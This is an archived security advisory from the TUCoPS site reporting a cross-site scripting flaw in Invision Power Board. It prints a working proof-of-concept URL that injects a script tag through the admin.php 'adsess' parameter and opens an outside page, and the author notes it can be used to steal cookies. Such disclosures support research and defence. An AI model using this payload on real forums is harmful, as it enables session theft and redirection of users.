TUCoPS :: Web BBS :: Frequently Exploited :: bt844.txt

Invision Power Board bug




I found possibility to run Script (java Script, VBScript) on the system 

Invision Power Board...

It's possible to do if it much {many} things like a withdrawal of cookie, 

advertising ....





For example:



http://forums.invisionpower.com/admin.php?adsess='><script>window.open

(window.location.search.substring

(78));&lt;/script&gt;<http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision











BoyBear From BinaryVision ( http://binaryvision.tech.nu )

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH